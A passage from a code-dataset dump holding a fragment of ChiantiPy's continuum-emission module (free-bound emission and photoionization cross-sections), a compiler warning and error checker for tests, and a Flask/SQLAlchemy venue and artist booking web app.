lowerDict['filename'] +'.fblvl'\n if os.path.isfile(fblvlname):\n self.rFblvl = io.fblvlRead(lower)\n rfblvl = self.rFblvl\n else:\n self.FreeBound = {'errorMessage':' no fblvl file for ion %s'%(self.IonStr)}\n return\n #\n #\n nlvls = len(rfblvl['lvl'])\n # pqn = principle quantum no. n\n pqn = rfblvl['pqn']\n # l is angular moment quantum no. L\n l = rfblvl['l']\n # energy level in inverse cm\n ecm = rfblvl['ecm']\n # statistical weigths/multiplicities\n multr = rfblvl['mult']\n mult = fblvl['mult']\n #\n #\n # for the ionization potential, must use that of the recombined ion\n #\n iprcm = self.Ipr/const.invCm2Ev\n #\n # get karzas-latter Gaunt factors\n if hasattr(self,'Klgfb'):\n klgfb = self.Klgfb\n else:\n self.Klgfb = io.klgfbRead()\n klgfb = self.Klgfb\n #\n nWvl = wvl.size\n nTemp = temperature.size\n #\n if verner:\n lvl1 = 1\n else:\n lvl1 = 0\n #\n nWvl = wvl.size\n nTemp = temperature.size\n #\n if verner:\n self.vernerCross(wvl)\n vCross = self.VernerCross\n #\n if (nTemp > 1) and (nWvl > 1):\n mask = np.zeros((nlvls,nTemp,nWvl),'Bool')\n fbrate = np.zeros((nlvls,nTemp,nWvl),'float64')\n fbRate = np.zeros((nTemp,nWvl),'float64')\n expf = np.zeros((nlvls,nTemp,nWvl),'float64')\n ratg = np.zeros((nlvls),'float64')\n ratg[0] = float(multr[0])/float(mult[0])\n iprLvlEv = self.Ipr - const.invCm2Ev*ecm[0]\n iprLvlErg = const.ev2Erg*iprLvlEv\n iprLvlCm = (iprcm - ecm[0])\n for itemp in range(nTemp):\n mask[0,itemp] = 1.e+8/wvl < (iprcm - ecm[0])\n expf[0,itemp] = np.exp((iprLvlErg - 1.e+8*const.planck*const.light/wvl)/(const.boltzmann*temperature[itemp]))\n fbrate[0,itemp] = em[itemp]*(const.planck*const.light/(1.e-8*wvl))**5*const.verner*ratg[0]*expf[0,itemp]*vCross/temperature[itemp]**1.5\n for ilvl in range(lvl1,nlvls):\n iprLvlEv = self.Ipr - const.invCm2Ev*ecm[ilvl]\n iprLvlErg = const.ev2Erg*iprLvlEv\n scaledE = np.log(const.ev2Ang/(iprLvlEv*wvl))\n thisGf = klgfb['klgfb'][pqn[ilvl]-1, l[ilvl]]\n spl = splrep(klgfb['pe'], thisGf)\n gf = np.exp(splev(scaledE, spl))\n ratg[ilvl] = float(multr[ilvl])/float(mult[0]) # ratio of statistical weights\n #\n for itemp in range(nTemp):\n expf[ilvl] = np.exp((iprLvlErg - 1.e+8*const.planck*const.light/wvl)/(const.boltzmann*temperature[itemp]))\n expf[ilvl,itemp] = np.exp((iprLvlErg - 1.e+8*const.planck*const.light/wvl)/(const.boltzmann*temperature[itemp]))\n mask[ilvl,itemp] = 1.e+8/wvl < (iprcm - ecm[ilvl])\n fbrate[ilvl,itemp] = em[itemp]*const.freeBound*ratg[ilvl]*(iprLvlErg**2/float(pqn[ilvl]))*gf*expf[ilvl,itemp]/(temperature[itemp]**1.5*(wvl)**2)\n fbrma = np.ma.array(fbrate)\n fbrma.mask = mask\n fbrma.fill_value = 0.\n fbIntensity = fbrma.sum(axis=0)\n# for itemp in range(nTemp):\n# fbRate += em[itemp]*abund*gIoneq[itemp]*fbrma[itemp]\n# fbRate = fbrma.sum(axis=0)\n# fbRate.fill_value = 0.\n self.FreeBoundEmiss = {'emiss':fbIntensity, 'temperature':temperature,'wvl':wvl,'em':em}\n #\n elif (nTemp == 1) and (nWvl > 1):\n mask = np.zeros((nlvls,nWvl),'Bool')\n fbrate = np.zeros((nlvls,nWvl),'float64')\n expf = np.zeros((nlvls,nWvl),'float64')\n ratg = np.zeros((nlvls),'float64')\n # mask is true for bad values\n ratg[0] = float(multr[0])/float(mult[0])\n iprLvlEv = self.Ipr - const.invCm2Ev*ecm[0]\n iprLvlErg = const.ev2Erg*iprLvlEv\n iprLvlCm = (iprcm - ecm[0])\n #\n mask[0] = 1.e+8/wvl < iprcm\n expf[0] = np.exp((iprLvlErg - hnu)/(const.boltzmann*temperature))\n # both expressions for fbrate[0] match the IDL output\n fbrate[0] = (const.planck*const.light/(1.e-8*wvl))**5*const.verner*ratg[0]*expf[0]*vCross/temperature**1.5\n # factor of 1.e-8 converts to Angstrom^-1, otherwise it would be cm^-1\n# fbrate[0] = 1.e-8*const.freeBounde*hnu**5*ratg[0]*expf[0]*vCross/temperature**1.5\n #\n for ilvl in range(lvl1,nlvls):\n iprLvlEv = self.Ipr - const.invCm2Ev*ecm[ilvl]\n iprLvlErg = const.ev2Erg*iprLvlEv\n iprLvlCm = (iprcm - ecm[ilvl])\n # scaled energy is relative to the ionization potential of each individual level\n scaledE = np.log(const.ev2Ang/(iprLvlEv*wvl))\n thisGf = klgfb['klgfb'][pqn[ilvl]-1, l[ilvl]]\n spl = splrep(klgfb['pe'], thisGf)\n gf = np.exp(splev(scaledE, spl))\n mask[ilvl] = 1.e+8/wvl < iprLvlCm\n ratg[ilvl] = float(multr[ilvl])/float(mult[0]) # ratio of statistical weights\n expf[ilvl] = np.exp((iprLvlErg - hnu)/(const.boltzmann*temperature))\n fbrate[ilvl] = const.freeBound*ratg[ilvl]*(iprLvlErg**2/float(pqn[ilvl]))*expf[ilvl]*gf/(temperature**1.5*(wvl)**2)\n fbrma = np.ma.array(fbrate)\n fbrma.mask = mask\n fbrma.fill_value = 0.\n fbRate = em*fbrma.sum(axis=0)\n fbRate.fill_value = 0.\n self.FreeBoundEmiss = {'emiss':fbRate.data, 'temperature':temperature,'wvl':wvl, 'em':em}\n #elif (nTemp > 1) and (nWvl == 1):\n else:\n self.FreeBoundEmiss = {'emiss':np.zeros(nTemp,'float64'),'errorMessage':' this is the case of a single wavelength'}\n\n\n def vernerCross(self, wvl):\n \"\"\"\n Calculates the photoionization cross-section using data from [1]_ for\n transitions to the ground state.\n\n The photoionization cross-section can be expressed as :math:`\\sigma_i^{fb}=F(E/E_0)` where\n :math:`F` is an analytic fitting formula given by Eq. 1 of [1]_,\n\n .. math::\n F(y) = ((y-1)^2 + y_w^2)y^{-Q}(1 + \\sqrt{y/y_a})^{-P},\n\n where :math:`E` is the photon energy, :math:`n` is the principal quantum number,\n :math:`l` is the orbital quantum number, :math:`Q = 5.5 + l - 0.5P`, and\n :math:`\\sigma_0,E_0,y_w,y_a,P` are fitting paramters. These can be read in using\n `ChiantiPy.tools.io.vernerRead`.\n\n References\n ----------\n .. [1] Verner & Yakovlev, 1995, A&AS, `109, 125\n `_\n \"\"\"\n # read verner data\n verner_info = io.vernerRead()\n eth = verner_info['eth'][self.Z,self.Stage-1] #*const.ev2Erg\n yw = verner_info['yw'][self.Z,self.Stage-1]\n ya = verner_info['ya'][self.Z,self.Stage-1]\n p = verner_info['p'][self.Z,self.Stage-1]\n\n # convert from megabarn to cm^2\n sigma0 = verner_info['sig0'][self.Z,self.Stage-1]*1e-18\n e0 = verner_info['e0'][self.Z,self.Stage-1] #*const.ev2Erg\n q = 5.5 + verner_info['l'][self.Z,self.Stage-1] - 0.5*p\n\n # scaled photon energy\n en = const.ev2Ang/wvl\n y = en/e0\n # fitting function\n F = ((y - 1.)**2 + yw**2)*(y**(-q))*(1. + np.sqrt(y/ya))**(-p)\n cross_section = sigma0*F\n\n self.VernerCross = np.where(en < eth, 0., cross_section)\n\n def karzasCross(self, photon_energy, ionization_potential, n, l):\n \"\"\"\n Calculate the photoionization cross-sections using the Gaunt factors of [1]_.\n\n The free-bound photoionization cross-section is given by,\n\n .. math::\n \\sigma_i^{bf} = 1.077294\\\\times8065.54\\\\times10^{16}\\left(\\\\frac{I_i}{hc}\\\\right)^2\\left(\\\\frac{hc}{E}\\\\right)^3\\\\frac{g_{bf}}{n_i},\n\n where :math:`I_i` is the ionization potential of the :math:`i^{\\mathrm{th}}` level,\n :math:`E` is the photon energy, :math:`g_{bf}` is the Gaunt factor calculated\n according to [1]_, and :math:`n_i` is the principal quantum number of the\n :math:`i^{\\mathrm{th}}` level. :math:`\\sigma_i^{bf}` is units of :math:`\\mathrm{cm}^{2}`.\n This expression is given by Eq. 13 of [2]_. For more information on the photoionization\n cross-sections, see `Peter Young's notes on free-bound continuum`_.\n\n .. _Peter Young's notes on free-bound continuum: http://www.pyoung.org/chianti/freebound.pdf\n\n Parameters\n ----------\n photon_energy : array-like\n ionization_potential : `float`\n n : `int`\n l : `int`\n\n References\n ----------\n .. [1] Karzas and Latter, 1961, ApJSS, `6, 167\n `_\n .. [2] Young et al., 2003, ApJSS, `144, 135\n `_\n \"\"\"\n # numerical constant, in Mbarn\n kl_constant = 1.077294e-1*8065.54e3\n # read in KL gaunt factor data\n karzas_info = io.klgfbRead()\n if n <= karzas_info['klgfb'].shape[0]:\n scaled_energy = np.log10(photon_energy/ionization_potential)\n f_gf = splrep(karzas_info['pe'], karzas_info['klgfb'][n-1,l,:])\n gaunt_factor = np.exp(splev(scaled_energy, f_gf))\n else:\n gaunt_factor = 1.\n\n # scaled energy factor, converted to cm^-1\n energy_factor = (((ionization_potential/const.planck/const.light)**2.)\n * ((photon_energy/const.planck/const.light)**(-3)))\n # cross-section, convert to cm^2\n cross_section = (kl_constant*energy_factor*gaunt_factor/n)*1e-18\n\n return np.where(photon_energy >= ionization_potential, cross_section, 0.)\n\n\n\n def klgfbInterp(self, wvl, n, l):\n '''A Python version of the CHIANTI IDL procedure karzas_xs.\n\n Interpolates free-bound gaunt factor of Karzas and Latter, (1961, Astrophysical Journal\n Supplement Series, 6, 167) as a function of wavelength (wvl).'''\n try:\n klgfb = self.Klgfb\n except:\n self.Klgfb = util.klgfbRead()\n klgfb = self.Klgfb\n # get log of photon energy relative to the ionization potential\n sclE = np.log(self.Ip/(wvl*const.ev2ang))\n thisGf = klgfb['klgfb'][n-1, l]\n spl = splrep(klgfb['pe'], thisGf)\n gf = splev(sclE, spl)\n return gf\n\n def ioneqOne(self):\n '''\n Provide the ionization equilibrium for the selected ion as a function of temperature.\n Similar to but not identical to ion.ioneqOne() - the ion class needs to be able to handle\n the 'dielectronic' ions\n returned in self.IoneqOne\n '''\n #\n if hasattr(self, 'Temperature'):\n temperature = self.Temperature\n else:\n return\n #\n if hasattr(self, 'IoneqAll'):\n ioneqAll = self.IoneqAll\n else:\n self.IoneqAll = io.ioneqRead(ioneqName = self.Defaults['ioneqfile'])\n ioneqAll = self.IoneqAll\n #\n ioneqTemperature = ioneqAll['ioneqTemperature']\n Z = self.Z\n stage = self.Stage\n ioneqOne = np.zeros_like(temperature)\n #\n thisIoneq = ioneqAll['ioneqAll'][Z-1,stage-1].squeeze()\n gioneq = thisIoneq > 0.\n goodt1 = self.Temperature >= ioneqTemperature[gioneq].min()\n goodt2 = self.Temperature <= ioneqTemperature[gioneq].max()\n goodt = np.logical_and(goodt1,goodt2)\n y2 = splrep(np.log(ioneqTemperature[gioneq]),np.log(thisIoneq[gioneq]),s=0)\n #\n if goodt.sum() > 0:\n if self.Temperature.size > 1:\n gIoneq = splev(np.log(self.Temperature[goodt]),y2) #,der=0)\n ioneqOne[goodt] = np.exp(gIoneq)\n else:\n gIoneq = splev(np.log(self.Temperature),y2)\n ioneqOne = np.exp(gIoneq)\n ioneqOne = np.atleast_1d(ioneqOne)\n self.IoneqOne = ioneqOne\n else:\n self.IoneqOne = np.zeros_like(self.Temperature)\n\n\n def ioneq_one(self, stage, **kwargs):\n \"\"\"\n Calculate the equilibrium fractional ionization of the ion as a function of temperature.\n\n Uses the `ChiantiPy.core.ioneq` module and does a first-order spline interpolation to the data. An\n ionization equilibrium file can be passed as a keyword argument, `ioneqfile`. This can\n be passed through as a keyword argument to any of the functions that uses the\n ionization equilibrium.\n\n Parameters\n ----------\n stage : int\n Ionization stage, e.g. 25 for Fe XXV\n \"\"\"\n tmp = ioneq(self.Z)\n tmp.load(ioneqName=kwargs.get('ioneqfile', None))\n ionization_equilibrium = splev(self.Temperature,\n splrep(tmp.Temperature, tmp.Ioneq[stage-1,:], k=1), ext=1)\n return np.where(ionization_equilibrium < 0., 0., ionization_equilibrium)\n","sub_path":"ChiantiPy/core/Continuum.py","file_name":"Continuum.py","file_ext":"py","file_size_in_byte":57444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"37976281","text":"\"\"\"Checks for parsing compiler output for warnings/error messages and checking\ntheir presence or absence.\"\"\"\nimport difflib\n\ndef search_warnings_errors(result):\n \"\"\"Parse step output for compiler warnings and errors and set\n result.warnings and result.errors list\"\"\"\n if hasattr(result, \"warnings\"):\n assert hasattr(result, \"errors\")\n return\n result.warnings = []\n result.errors = []\n for line in result.stderr.splitlines():\n if \": warning: \" in line: # frontend warnings\n result.warnings.append(line)\n elif \" error: \" in line: # frontend errors\n result.errors.append(line)\n\n\ndef check_no_errors(result):\n \"\"\"Check that we had no compiler errors\"\"\"\n search_warnings_errors(result)\n n_errors = len(result.errors)\n if n_errors > 0:\n result.error = \"%d compile errors\" % n_errors\n\n\ndef check_missing_errors(result):\n \"\"\"Check that we had at least 1 compiler error\"\"\"\n search_warnings_errors(result)\n n_errors = len(result.errors)\n if n_errors == 0:\n result.error = \"missed error\"\n\n\ndef check_missing_warnings(result):\n \"\"\"Check that we had at least 1 compiler warning\"\"\"\n search_warnings_errors(result)\n n_warnings = len(result.warnings)\n if n_warnings == 0:\n result.error = \"missed warnings\"\n\n\ndef check_no_warnings(result):\n \"\"\"Check that we had no compiler warnings\"\"\"\n search_warnings_errors(result)\n n_warnings = len(result.warnings)\n if n_warnings > 0:\n result.error = \"produced invalid warning\"\n\n\ndef _help_check_warnings_reference(result, reference):\n search_warnings_errors(result)\n n_warnings = len(result.warnings)\n n_expected = len(reference.splitlines())\n warning_text = \"\\n\".join(result.warnings) + \"\\n\"\n if n_warnings != n_expected:\n result.error = \"reported %s warnings, expected %s\" % (n_warnings, n_expected)\n elif warning_text != reference:\n result.error = \"reported different warnings\"\n\n\ndef create_check_warnings_reference(warnings_file):\n \"\"\"Read warnings_file and compare it with the warnings the compiler\n actually reported. If the reference file is missing we just check that\n there are any warnings at all.\"\"\"\n if not os.path.isfile(warnings_file):\n return check_missing_warnings\n else:\n reference = open(warnings_file, \"rb\").read()\n return partial(_help_check_warnings_reference, reference=reference)\n","sub_path":"examples/ctests/plugins/compiler.py","file_name":"compiler.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"519294275","text":"#----------------------------------------------------------------------------#\n# Imports\nfrom flask_migrate import Migrate\nimport sys\n\n#----------------------------------------------------------------------------#\n\nimport json\nimport dateutil.parser\nimport babel\nfrom flask import Flask, render_template, request, Response, flash, redirect, url_for\nfrom flask_moment import Moment\nfrom flask_sqlalchemy import SQLAlchemy\nimport logging\nfrom logging import Formatter, FileHandler\nfrom flask_wtf import Form\nfrom forms import *\n\n#----------------------------------------------------------------------------#\n# App Config.\n#----------------------------------------------------------------------------#\n\napp = Flask(__name__)\nmoment = Moment(app)\napp.config.from_object('config')\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\n\nSQLALCHEMY_DATABASE_URI = 'postgresql://wejdan:a@localhost:5432/fyyurapp'\n\n\n#----------------------------------------------------------------------------#\n# Models.\n#----------------------------------------------------------------------------#\n\nclass Venue(db.Model):\n __tablename__ = 'Venue'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String)\n city = db.Column(db.String(120))\n state = db.Column(db.String(120))\n address = db.Column(db.String(120))\n phone = db.Column(db.String(120))\n genres = db.Column(db.ARRAY(db.String()))\n image_link = db.Column(db.String(500))\n facebook_link = db.Column(db.String(120))\n website_link = db.Column(db.String(120))\n talent= db.Column(db.Boolean, default=False)\n description = db.Column(db.String(120))\n shows = db.relationship('Show', backref='Venue', lazy='dynamic')\n \n def __repr__(self):\n return f''\n\n\nclass Artist(db.Model):\n __tablename__ = 'Artist'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String)\n city = db.Column(db.String(120))\n phone = db.Column(db.String(120))\n state = db.Column(db.String(120)) \n genres = db.Column(db.ARRAY(db.String()))\n image_link = db.Column(db.String(500))\n facebook_link = db.Column(db.String(120))\n website_link = db.Column(db.String(120))\n venue = db.Column(db.Boolean, default=False)\n description = db.Column(db.String(120))\n shows = db.relationship('Show', backref='Artist', lazy='dynamic')\n\n def __repr__(self):\n return f''\n\n\nclass Show(db.Model):\n\n __tablename__ = 'Show'\n id = db.Column(db.Integer, primary_key=True)\n artist_id = db.Column(db.Integer, db.ForeignKey(\n 'Artist.id'), nullable=False)\n venue_id = db.Column(db.Integer, db.ForeignKey('Venue.id'), nullable=False)\n start_time = db.Column(db.DateTime, nullable=False)\n\n def __repr__(self):\n return f''\n \n#----------------------------------------------------------------------------#\n# Filters.\n#----------------------------------------------------------------------------#\n\ndef format_datetime(value, format='medium'):\n date = dateutil.parser.parse(value)\n if format == 'full':\n format=\"EEEE MMMM, d, y 'at' h:mma\"\n elif format == 'medium':\n format=\"EE MM, dd, y h:mma\"\n return babel.dates.format_datetime(date, format, locale='en')\n\napp.jinja_env.filters['datetime'] = format_datetime\n\n#----------------------------------------------------------------------------#\n# Controllers.\n#----------------------------------------------------------------------------#\n\n@app.route('/')\ndef index():\n return render_template('pages/home.html')\n\n\n# Venues\n# ----------------------------------------------------------------\n\n@app.route('/venues')\ndef venues():\n venues = Venue.query.all()\n data_venues = []\n areas = set() \n current_date = datetime.now()\n \n for venue in venues:\n areas.add((venue.city, venue.state))\n\n for a in areas:\n data_venues.append({\n \"city\": a[0],\n \"state\": a[1],\n \"venues\": []\n })\n\n for venue in venues:\n number = 0\n\n shows = Show.query.filter_by(venue_id=venue.id).all()\n\n\n for show in shows:\n if show.start_time > current_date:\n number = number + 1 \n\n for venue_area in data_venues:\n if venue.state == venue_area['state'] and venue.city == venue_area['city']:\n venue_area['venues'].append({\n \"id\": venue.id,\n \"name\": venue.name,\n \"num_upcoming_shows\": number\n })\n return render_template('pages/venues.html', areas=data_venues)\n\n@app.route('/venues/search', methods=['POST'])\ndef search_venues():\n \n search = request.form.get('search_term', '')\n venues_search = Venue.query.filter(Venue.name.ilike(f'%{search}%'))\n\n response = {\n \"count\": venues_search.count(),\n \"data\": venues_search\n }\n\n \n return render_template('pages/search_venues.html', results=response, search_term=search)\n\n\n@app.route('/venues/')\ndef show_venue(venue_id):\n \n venue = Venue.query.filter_by(id=venue_id).first()\n shows = Show.query.filter_by(venue_id=venue_id).all()\n upcoming_count = 0 \n past_count = 0\n upcoming_show = [] \n past_show = []\n current_date = datetime.now()\n \n \n for show in shows:\n if show.start_time < current_date:\n past_show.append({\n \"artist_id\": show.artist_id,\n \"artist_name\": Artist.query.filter_by(id=show.artist_id).first().name,\n \"start_time\": format_datetime(str(show.start_time)),\n \"artist_image_link\": Artist.query.filter_by(id=show.artist_id).first().image_link\n })\n past_count = past_count + 1\n \n for show in shows:\n if show.start_time > current_date:\n upcoming_show.append({\n \"artist_id\": show.artist_id,\n \"artist_name\": Artist.query.filter_by(id=show.artist_id).first().name,\n \"start_time\": format_datetime(str(show.start_time)),\n \"artist_image_link\": Artist.query.filter_by(id=show.artist_id).first().image_link\n })\n upcoming_count = upcoming_count + 1 \n \n data = {\n \"id\": venue.id,\n \"name\": venue.name,\n \"genres\": venue.genres,\n \"address\": venue.address,\n \"city\": venue.city,\n \"state\": venue.state,\n \"phone\": venue.phone,\n \"website_link\": venue.website_link,\n \"facebook_link\": venue.facebook_link,\n \"seeking_talent\": venue.talent,\n \"seeking_description\": venue.description,\n \"image_link\": venue.image_link,\n \"past_shows\": past_show,\n \"upcoming_shows\": upcoming_show,\n \"past_shows_count\": past_count,\n \"upcoming_shows_count\": upcoming_count\n }\n\n # return template with venue data\n return render_template('pages/show_venue.html', venue=data)\n\n\n# Create Venue\n# ----------------------------------------------------------------\n\n@app.route('/venues/create', methods=['GET'])\ndef create_venue_form():\n form = VenueForm()\n return render_template('forms/new_venue.html', form=form)\n\n@app.route('/venues/create', methods=['POST'])\ndef create_venue_submission():\n error = False\n try:\n \n\n form = VenueForm()\n name = request.form[\"name\"]\n city = form.city.data\n address = form.address.data\n state = form.state.data\n phone = form.phone.data\n genres = form.genres.data\n facebook_link = form.facebook_link.data\n website_link = form.website_link.data\n image_link = form.image_link.data\n talent = True if 'seeking_talent' in request.form else False\n seeking_description = form.seeking_description.data\n\n venue = Venue(name=name, city=city, state=state, phone=phone,\n genres=genres, facebook_link=facebook_link,\n website_link=website_link, image_link=image_link,\n talent=talent,address=address,\n description=seeking_description)\n\n db.session.add(venue)\n db.session.commit()\n\n except:\n error = True \n db.session.rollback()\n \n finally:\n db.session.close()\n if error:\n flash('An error occurred. Venue ' +\n request.form['name'] + ' could not be listed.')\n else:\n flash('Venue ' + request.form['name'] + ' was successfully listed!')\n\n\n return render_template('pages/home.html')\n\n@app.route('/venues/', methods=['DELETE'])\ndef delete_venue(venue_id):\n try:\n \n\n venue = Venue.query.filter(Venue.id == venue_id).first()\n name = venue.name\n db.session.delete(venue)\n db.session.commit() \n flash('Venue ' + name + ' was successfully deleted.')\n except:\n \n db.session.rollback()\n\n flash('An error occurred. Venue ' + name + ' could not be deleted.')\n finally:\n \n db.session.close()\n\n \n return jsonify({'success': True})\n\n# Artists\n# ----------------------------------------------------------------\n@app.route('/artists')\ndef artists():\n # TODO: replace with real data returned from querying the database\n data=[{\n \"id\": 4,\n \"name\": \"Guns N Petals\",\n }, {\n \"id\": 5,\n \"name\": \"Matt Quevedo\",\n }, {\n \"id\": 6,\n \"name\": \"The Wild Sax Band\",\n }]\n return render_template('pages/artists.html', artists=Artist.query.all())\n\n@app.route('/artists/search', methods=['POST'])\ndef search_artists():\n \n search = request.form.get('search_term', '')\n artists_search = Artist.query.filter(Artist.name.ilike(f'%{search}%'))\n response = {\n \"count\": artists_search.count(),\n \"data\": artists_search\n }\n\n \n \n return render_template('pages/search_artists.html', results=response, search_term=search)\n\n@app.route('/artists/')\ndef show_artist(artist_id):\n \n artist = Artist.query.filter_by(id=artist_id).first()\n shows = Show.query.filter_by(artist_id=artist_id).all()\n upcoming_count = 0 \n past_count = 0\n upcoming_show = [] \n past_show = []\n current_date = datetime.now()\n\n\n \n \n for show in shows:\n if show.start_time < current_date:\n past_show.append({\n \"venue_id\": show.venue_id,\n \"venue_name\": Venue.query.filter_by(id=show.venue_id).first().name,\n \"start_time\": format_datetime(str(show.start_time)),\n \"venue_image_link\": Venue.query.filter_by(id=show.venue_id).first().image_link\n\n })\n past_count = past_count + 1\n\n \n for show in shows:\n if show.start_time > current_date:\n\n upcoming_show.append({\n \"venue_id\": show.venue_id,\n \"venue_name\": Venue.query.filter_by(id=show.venue_id).first().name,\n \"start_time\": format_datetime(str(show.start_time)),\n \"venue_image_link\": Venue.query.filter_by(id=show.venue_id).first().image_link\n\n })\n upcoming_count = upcoming_count + 1 \n \n\n data = {\n \"id\": artist.id,\n \"name\": artist.name,\n \"genres\": artist.genres,\n \"city\": artist.city,\n \"facebook_link\": artist.facebook_link,\n \"seeking_venue\": artist.venue,\n \"state\": artist.state,\n \"phone\": artist.phone,\n \"website\": artist.website_link,\n \"seeking_description\": artist.description,\n \"image_link\": artist.image_link,\n \"past_shows\": past_show,\n \"past_shows_count\": past_count,\n \"upcoming_shows\": upcoming_show,\n \"upcoming_shows_count\": upcoming_count,\n }\n\n return render_template('pages/show_artist.html', artist=data)\n\n\n# Update\n# ----------------------------------------------------------------\n@app.route('/artists//edit', methods=['GET'])\ndef edit_artist(artist_id):\n form = ArtistForm()\n artist = Artist.query.filter_by(id=artist_id).first() \n artist = {\n \"id\": artist.id,\n \"name\": artist.name,\n \"genres\": artist.genres,\n \"city\": artist.city,\n \"state\": artist.state,\n \"phone\": artist.phone,\n \"website_link\": artist.website_link,\n \"facebook_link\": artist.facebook_link,\n \"seeking_venue\": artist.venue,\n \"seeking_description\": artist.description,\n \"image_link\": artist.image_link\n }\n\n form.name.process_data(artist['name'])\n form.city.process_data(artist['city'])\n form.phone.process_data(artist['phone'])\n form.website_link.process_data(artist['website_link'])\n form.image_link.process_data(artist['image_link'])\n form.facebook_link.process_data(artist['facebook_link'])\n form.seeking_description.process_data(artist['facebook_link'])\n form.state.process_data(artist['state'])\n form.genres.process_data(artist['genres'])\n form.seeking_venue.process_data(artist['seeking_venue'])\n \n\n return render_template('forms/edit_artist.html', form=form, artist=artist)\n\n@app.route('/artists//edit', methods=['POST'])\ndef edit_artist_submission(artist_id):\n\n try:\n form = ArtistForm()\n artist = Artist.query.filter_by(id=artist_id).first()\n artist.name = form.name.data\n artist.genres = form.genres.data\n artist.city = form.city.data\n artist.state = form.state.data\n artist.phone = form.phone.data\n artist.facebook_link = form.facebook_link.data\n artist.image_link = form.image_link.data\n artist.website_link = form.website_link.data\n seeking_venue = True if 'seeking_venue' in request.form else False\n artist.description = form.seeking_description.data\n\n db.session.commit()\n\n flash('Artist ' + request.form['name'] + ' was successfully updated!')\n \n except:\n \n\n db.session.rollback()\n flash('An error occurred. Artist ' + request.form['name'] + ' could not be updated.')\n finally:\n \n db.session.close()\n\n \n return redirect(url_for('show_artist', artist_id=artist_id))\n\n@app.route('/venues//edit', methods=['GET'])\ndef edit_venue(venue_id):\n form = VenueForm() \n venue = Venue.query.filter_by(id=venue_id).first() \n venue = {\n \"id\": venue.id,\n \"name\": venue.name,\n \"genres\": venue.genres,\n \"address\": venue.address,\n \"city\": venue.city,\n \"state\": venue.state,\n \"phone\": venue.phone,\n \"website_link\": venue.website_link,\n \"facebook_link\": venue.facebook_link,\n \"talent\": venue.talent,\n \"description\": venue.description,\n \"image_link\": venue.image_link\n }\n\n form.name.process_data(venue['name'])\n form.city.process_data(venue['city'])\n form.address.process_data(venue['address'])\n form.phone.process_data(venue['phone'])\n form.website_link.process_data(venue['website_link'])\n form.facebook_link.process_data(venue['facebook_link'])\n form.seeking_description.process_data(venue['description'])\n form.image_link.process_data(venue['image_link'])\n form.state.process_data(venue['state'])\n form.genres.process_data(venue['genres'])\n form.seeking_talent.process_data(venue['talent'])\n\n return render_template('forms/edit_venue.html', form=form, venue=venue)\n\n\n@app.route('/venues//edit', methods=['POST'])\ndef edit_venue_submission(venue_id):\n \n try:\n form = VenueForm()\n\n \n venue = Venue.query.filter_by(id=venue_id).first()\n venue.name = form.name.data\n venue.genres = form.genres.data\n venue.city = form.city.data\n venue.state = form.state.data\n venue.address = form.address.data\n venue.phone = form.phone.data\n venue.facebook_link = form.facebook_link.data\n venue.website_link = form.website_link.data\n venue.image_link = form.image_link.data\n venue.talent = True if 'seeking_talent' in request.form else False\n venue.description = form.seeking_description.data\n\n \n db.session.commit()\n flash('Venue ' + request.form['name'] + ' was successfully updated!')\n \n except:\n \n db.session.rollback()\n flash('An error occurred. Venue ' + request.form['name'] + ' could not be updated.')\n finally:\n \n db.session.close()\n\n \n return redirect(url_for('show_venue', venue_id=venue_id))\n\n# Create Artist\n# ----------------------------------------------------------------\n\n@app.route('/artists/create', methods=['GET'])\ndef create_artist_form():\n form = ArtistForm()\n return render_template('forms/new_artist.html', form=form)\n\n@app.route('/artists/create', methods=['POST'])\ndef create_artist_submission():\n error = False\n try:\n form = ArtistForm()\n name = form.name.data\n city = form.city.data\n state = form.state.data\n phone = form.phone.data\n genres = form.genres.data\n facebook_link = form.facebook_link.data\n website_link = form.website_link.data\n image_link = form.image_link.data\n seeking_venue = True if 'seeking_venue' in request.form else False\n seeking_description = form.seeking_description.data\n\n \n artist = Artist(name=name, city=city, state=state, phone=phone,\n genres=genres, facebook_link=facebook_link,\n website_link=website_link, image_link=image_link,\n venue=seeking_venue,\n description=seeking_description)\n\n \n db.session.add(artist)\n db.session.commit()\n\n except:\n \n error = True \n db.session.rollback()\n \n finally:\n \n db.session.close()\n if error:\n flash('An error occurred. Artist ' + request.form['name'] + ' could not be listed.')\n \n else:\n flash('Artist ' + request.form['name'] + ' was successfully listed!')\n \n \n \n return render_template('pages/home.html')\n\n\n# Shows\n# ----------------------------------------------------------------\n\n@app.route('/shows')\ndef shows():\n shows = Show.query.order_by(db.asc(Show.start_time))\n data_show = []\n \n for show in shows:\n start_time = format_datetime(str(show.start_time))\n artist_id = show.artist_id\n venue_id = show.venue_id\n venue_name = Venue.query.filter_by(id=show.venue_id).first().name\n artist_name = Artist.query.filter_by(id=show.artist_id).first().name\n artist_image_link = Artist.query.filter_by(id=show.artist_id).first().image_link\n\n data_show.append({\n \"venue_name\": venue_name,\n \"artist_name\": artist_name,\n \"artist_id\": artist_id,\n \"venue_id\": venue_id,\n \"artist_image_link\": artist_image_link,\n \"start_time\": start_time\n })\n\n \n return render_template('pages/shows.html', shows=data_show)\n@app.route('/shows/create')\ndef create_shows():\n\n form = ShowForm()\n return render_template('forms/new_show.html', form=form)\n\n@app.route('/shows/create', methods=['POST'])\ndef create_show_submission():\n try:\n artist = request.form['artist_id']\n venue = request.form['venue_id']\n start_time = request.form['start_time']\n show = Show(artist_id=artist, venue_id=venue, start_time=start_time)\n db.session.add(show)\n db.session.commit()\n flash('Show was successfully listed!')\n except:\n db.session.rollback()\n flash('An error occurred. Show could not be listed.')\n finally:\n db.session.close()\n\n \n return render_template('pages/home.html')\n@app.errorhandler(404)\ndef not_found_error(error):\n return render_template('errors/404.html'), 404\n\n@app.errorhandler(500)\ndef server_error(error):\n return render_template('errors/500.html'), 500\n\n\nif not app.debug:\n file_handler = FileHandler('error.log')\n file_handler.setFormatter(\n Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')\n )\n app.logger.setLevel(logging.INFO)\n file_handler.setLevel(logging.INFO)\n app.logger.addHandler(file_handler)\n 